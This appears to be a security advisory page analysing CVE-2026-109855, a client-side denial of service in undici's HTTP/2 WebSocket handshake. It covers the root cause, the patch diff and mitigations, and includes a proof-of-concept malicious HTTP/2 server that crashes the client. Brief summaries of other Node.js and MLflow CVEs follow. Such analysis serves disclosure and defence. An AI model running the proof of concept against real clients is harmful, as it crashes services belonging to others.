Oct 27, 2026·9 min read·9 visits
Undici versions 8.11.0 and 8.11.1 leave HTTP/2 streams orphaned without error listeners when an RFC 8441 WebSocket handshake fails validation. A remote server can trigger a client-side Denial of Service by returning an invalid handshake response and subsequently closing the connection.
CVE-2026-109855 is a high-severity Denial of Service (DoS) vulnerability in undici, the primary HTTP/1.1 and HTTP/2 client library for Node.js maintained under the OpenJS Foundation. In versions 8.11.0 and 8.11.1, the WebSocket client fails to properly terminate underlying ClientHttp2Stream instances when an HTTP/2 WebSocket handshake fails validation. When the remote server subsequently closes or resets the stream, Node.js emits an unhandled error event on the orphaned stream, crashing the client process.
undici is the high-performance HTTP client library developed for Node.js under the OpenJS Foundation. In addition to handling standard HTTP/1.1 and HTTP/2 requests, undici provides a native WHATWG-compliant WebSocket implementation that is integrated directly into the Node.js runtime environment.
Starting in version 8.11.0, undici introduced support for bootstrapping WebSockets over HTTP/2 connections in accordance with RFC 8441. This capability uses the extended CONNECT method and is active whenever an undici dispatcher (such as an Agent or Client) is configured with allowH2: true.
CVE-2026-109855 (also tracked as GHSA-qq8j-7v2v-3rwp) is a Denial of Service vulnerability affecting undici versions 8.11.0 and 8.11.1. The flaw is classified under CWE-248 (Uncaught Exception) and CWE-754 (Improper Check for Unusual or Exceptional Conditions).
When an outbound WebSocket handshake negotiated over HTTP/2 fails client-side validation, undici leaves the underlying Node.js ClientHttp2Stream open without an active error handler. When the remote server subsequently closes or resets the HTTP/2 session, the orphaned stream emits an unhandled 'error' event, which immediately terminates the Node.js runtime process.
Under RFC 8441, a client initiates a WebSocket connection over HTTP/2 by sending an extended CONNECT request containing the :protocol pseudo-header set to websocket. Unlike HTTP/1.1, which relies on a 101 Switching Protocols response and hijacks the underlying TCP socket, HTTP/2 multiplexes the WebSocket tunnel over a single virtual stream (ClientHttp2Stream) while returning a 200 OK status code.
In undici, the function establishWebSocketConnection in lib/web/websocket/connection.js dispatches this upgrade request. Once the server sends the response headers, undici's internal HTTP/2 dispatcher marks the HTTP request lifecycle as completed and hands off the underlying ClientHttp2Stream (exposed as response.socket) to the WebSocket connection handler.
Following this handoff, establishWebSocketConnection validates the server's handshake parameters. Specifically, it verifies that the HTTP status code is 200, checks that any requested subprotocols are confirmed in the Sec-WebSocket-Protocol header, and validates any negotiated extensions in Sec-WebSocket-Extensions.
If any of these validation checks fail, the vulnerable implementation calls failWebsocketConnection(handler, code, reason, cause). This function attempts to clean up the connection by invoking handler.controller.abort(), which signals the underlying HTTP request to abort. However, because the HTTP/2 dispatcher already marked the request as completed when the headers arrived, the abort invocation becomes a no-op.
Because the abort operation does nothing and the WebSocket connection setup terminates early without attaching stream listeners, the ClientHttp2Stream remains active in memory without an 'error' event listener. When the remote server tears down the stream or closes the HTTP/2 session, Node.js's native node:http2 module emits an 'error' event on the stream. Because no listener is registered on the EventEmitter, Node.js throws an uncaughtException and exits the process.
The vulnerability resides in lib/web/websocket/connection.js and was introduced in commit 6e48f4873a677ed6a13fa3e3571b032f00244bdf. In the vulnerable code path, all post-response validation checks invoke failWebsocketConnection directly without accounting for the state of response.socket on HTTP/2 connections.
The following snippet shows the vulnerable validation logic in lib/web/websocket/connection.js prior to the fix:
// HTTP2 status validation
if (response.status !== 200) {
// Vulnerable: controller.abort() inside failWebsocketConnection will not close response.socket
failWebsocketConnection(handler, 1002, 'Received network error or non-200 status code.', response.error)
return
}
// Subprotocol presence validation
if (protocols.length !== 0 && !response.headersList.get('Sec-WebSocket-Protocol')) {
failWebsocketConnection(handler, 1002, 'Server did not respond with sent protocols.')
return
}The patch, applied in commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf (PR #5873), resolves this issue by introducing a dedicated wrapper function named failHandshake. This function checks whether the response socket belongs to an HTTP/2 session by inspecting response.socket?.session != null and explicitly destroys the stream before delegating to failWebsocketConnection.
function failHandshake (handler, response, code, reason, cause) {
// The H2 upgrade request has already completed and handed off its stream.
// Aborting the request cannot close that stream after handshake validation fails.
if (response.socket?.session != null && !response.socket.destroyed) {
response.socket.destroy()
}
failWebsocketConnection(handler, code, reason, cause)
}All handshake validation failure paths in establishWebSocketConnection were updated to call failHandshake instead of failWebsocketConnection:
@@ -106,8 +106,8 @@ function establishWebSocketConnection (url, protocols, client, handler, options)
// HTTP2
if (response.status !== 200) {
- failWebsocketConnection(handler, 1002, 'Received network error or non-200 status code.', response.error)
+ failHandshake(handler, response, 1002, 'Received network error or non-200 status code.', response.error)
return
}
}
@@ -122,7 +122,7 @@ function establishWebSocketConnection (url, protocols, client, handler, options)
if (protocols.length !== 0 && !response.headersList.get('Sec-WebSocket-Protocol')) {
- failWebsocketConnection(handler, 1002, 'Server did not respond with sent protocols.')
+ failHandshake(handler, response, 1002, 'Server did not respond with sent protocols.')
return
}The fix is complete for the handshake phase. By invoking response.socket.destroy() synchronously when validation fails, the ClientHttp2Stream is immediately closed and cleaned up before the remote peer can trigger an asynchronous stream error. For HTTP/1.1 connections (response.socket?.session == null), the existing teardown mechanics remain unchanged because HTTP/1.1 101 Switching Protocols handshakes manage socket lifecycles through the standard upgrade mechanism.
Exploiting CVE-2026-109855 requires a client application using undici (8.11.0 or 8.11.1) to initiate a WebSocket connection to an attacker-controlled or malfunctioning HTTP/2 server. The client must have HTTP/2 enabled on its dispatcher (allowH2: true). No authentication or special privileges on the client machine are required.
To trigger the crash, the server performs the following steps:
CONNECT by setting enableConnectProtocol: true in the HTTP/2 SETTINGS frame.CONNECT stream from the client and respond with headers that violate the WebSocket handshake specification (for example, returning :status: 400, or returning :status: 200 while omitting a Sec-WebSocket-Protocol header that the client requested).> [!NOTE]
> Even if the client developer registers an 'error' listener on the WebSocket instance (ws.addEventListener('error', ...)), it will not prevent the crash. The uncaught error is emitted on the internal ClientHttp2Stream object, which is not exposed to the user-level WebSocket API upon handshake failure.
The following proof-of-concept script, derived from the official regression test added in commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf, reproduces the process crash:
'use strict'
const assert = require('node:assert/strict')
const { createSecureServer } = require('node:http2')
const { once } = require('node:events')
const { Agent, WebSocket } = require('undici')
const { key, cert } = require('@metcoder95/https-pem')
async function triggerCrash () {
let session
// 1. Start an HTTP/2 server with RFC 8441 extended CONNECT enabled
const server = createSecureServer({
key,
cert,
settings: { enableConnectProtocol: true }
})
server.on('session', (s) => {
session = s
})
// 2. Send a 200 OK response without the requested Sec-WebSocket-Protocol header
server.on('stream', (stream) => {
stream.on('error', () => {})
stream.respond({ ':status': 200 })
})
server.listen(0)
await once(server, 'listening')
const port = server.address().port
// 3. Connect using an undici Agent with allowH2 enabled
const dispatcher = new Agent({
allowH2: true,
connect: { rejectUnauthorized: false }
})
const ws = new WebSocket(`wss://localhost:${port}`, {
dispatcher,
protocols: ['chat']
})
// Attach standard WebSocket error handler (does not catch the internal stream error)
ws.addEventListener('error', () => {})
const [closeEvent] = await once(ws, 'close')
assert.strictEqual(closeEvent.code, 1006)
// 4. Destroy the session from the server side to trigger the unhandled error
session.destroy()
}
triggerCrash()When executed against undici 8.11.0 or 8.11.1, calling session.destroy() causes the client process to terminate with an unhandled error event (Error: ClientHttp2Stream was destroyed before receiving response headers or ERR_HTTP2_STREAM_ERROR).
The primary impact of CVE-2026-109855 is a high-severity Denial of Service (CVSS v3.1 score 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because Node.js runs JavaScript on a single-threaded event loop by default, an uncaught exception immediately terminates the entire OS process, dropping all concurrent in-flight HTTP requests, active WebSocket connections, and background tasks handled by that worker.
Applications are exposed if they meet two conditions:
undici version 8.11.0 or 8.11.1.WebSocket connections using a dispatcher configured with allowH2: true.Backend services that connect to third-party WebSocket APIs, federated messaging servers, user-supplied webhook/socket endpoints, or upstream reverse proxies supporting HTTP/2 are particularly susceptible. Notice that intentional malice is not strictly required to trigger this bug; a legitimate upstream server or load balancer that returns a 401 Unauthorized, 403 Forbidden, or 502 Bad Gateway response over HTTP/2 during a WebSocket handshake and then closes the stream will also crash the client application.
This vulnerability does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure (C:N/I:N). According to threat intelligence metrics, the vulnerability has an EPSS score of 0.00279 (20.21th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The recommended remediation is to upgrade undici to version 8.11.2 or later, which includes commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf.
npm install undici@^8.11.2If an immediate package upgrade is not feasible, developers can mitigate the vulnerability by disabling HTTP/2 negotiation on the dispatcher used for WebSocket connections. By setting allowH2: false, undici will negotiate all WebSocket connections over HTTP/1.1 using the standard Connection: Upgrade mechanism, which is not affected by the orphaned ClientHttp2Stream flaw.
const { Agent, WebSocket } = require('undici')
// Dedicated HTTP/1.1 dispatcher for WebSocket connections
const wsDispatcher = new Agent({
allowH2: false
})
const ws = new WebSocket('wss://example.com/socket', {
dispatcher: wsDispatcher
})> [!WARNING]
> Do not rely on global process.on('uncaughtException', ...) handlers as a primary workaround. Catching fatal stream errors globally leaves the Node.js application and internal undici connection pools in an undefined state, which can lead to file descriptor leaks or hung sockets.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js / OpenJS Foundation | >= 8.11.0, < 8.11.2 | 8.11.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-109855 (GHSA-qq8j-7v2v-3rwp) |
| CWE Classification | CWE-248 (Uncaught Exception) / CWE-754 |
| CVSS v3.1 Score | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.28% (20.21th percentile) |
| Affected Versions | undici 8.11.0, 8.11.1 |
| Patched Version | undici 8.11.2 |
| Impact | Client-side Denial of Service (Node.js process crash) |
| Exploit Status | PoC available (Official regression test) |
An exception is thrown by an application, but is not caught or handled by any exception handler within the execution stack. In Node.js, an unhandled 'error' event emitted on an EventEmitter instance is treated as a fatal uncaught exception, resulting in process termination.
CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.
CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.
CVE-2026-116691 (GHSA-j7qq-vr8c-xvw3) is a sensitive credential disclosure vulnerability in the MLflow platform affecting versions 2.19.0 through 3.16.x. When CrewAI autologging is enabled via mlflow.crewai.autolog(), the tracing instrumentation fails to sanitize nested CrewAI LLM objects before serializing them into OpenTelemetry trace spans. Consequently, plaintext LLM provider API keys are extracted from object dictionaries and string representations, then transmitted and stored in MLflow tracking servers or external OpenTelemetry Protocol (OTLP) telemetry backends.
MLflow versions 3.10.0 through 3.16.1 contain a path traversal vulnerability (CWE-22) in the model version creation handler. Specifically, the prompt-specific execution branch in `_create_model_version()` fails to validate schemeless relative paths and evaluates the `mlflow.prompt.is_prompt` tag based on key presence rather than value. An unauthenticated remote attacker on default deployments, or an authenticated low-privilege user on basic-auth deployments, can register a model version with a relative local path as its artifact source and subsequently retrieve arbitrary files from the server filesystem via the `/api/2.0/mlflow/model-versions/get-artifact` endpoint.
CVE-2026-109383 (GHSA-2m5v-pch6-74hx) is an improper certificate validation vulnerability (CWE-295) in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. In affected versions, the Agent constructor clones configuration options using a JSON-based deep clone function (util.deepClone), which executes JSON.parse(JSON.stringify(options)). Because JSON serialization omits function properties, custom certificate validation callbacks passed via the tls configuration option—such as tls.checkServerIdentity—are silently stripped before being passed to origin connection pools. Consequently, connections fall back to standard Node.js TLS validation, bypassing custom certificate pinning or hostname verification rules and allowing an Adversary-in-the-Middle (AitM) with a CA-trusted certificate to intercept and modify traffic.
A cache key origin desynchronization and intermediate Cache-Control suppression vulnerability exists in the Node.js Undici HTTP client library. When an originless Agent composes the redirect and cache interceptors in the order compose(redirect(), cache()) with a shared cache store, cross-origin responses and sensitive redirected resources are stored under the initial request's cache key.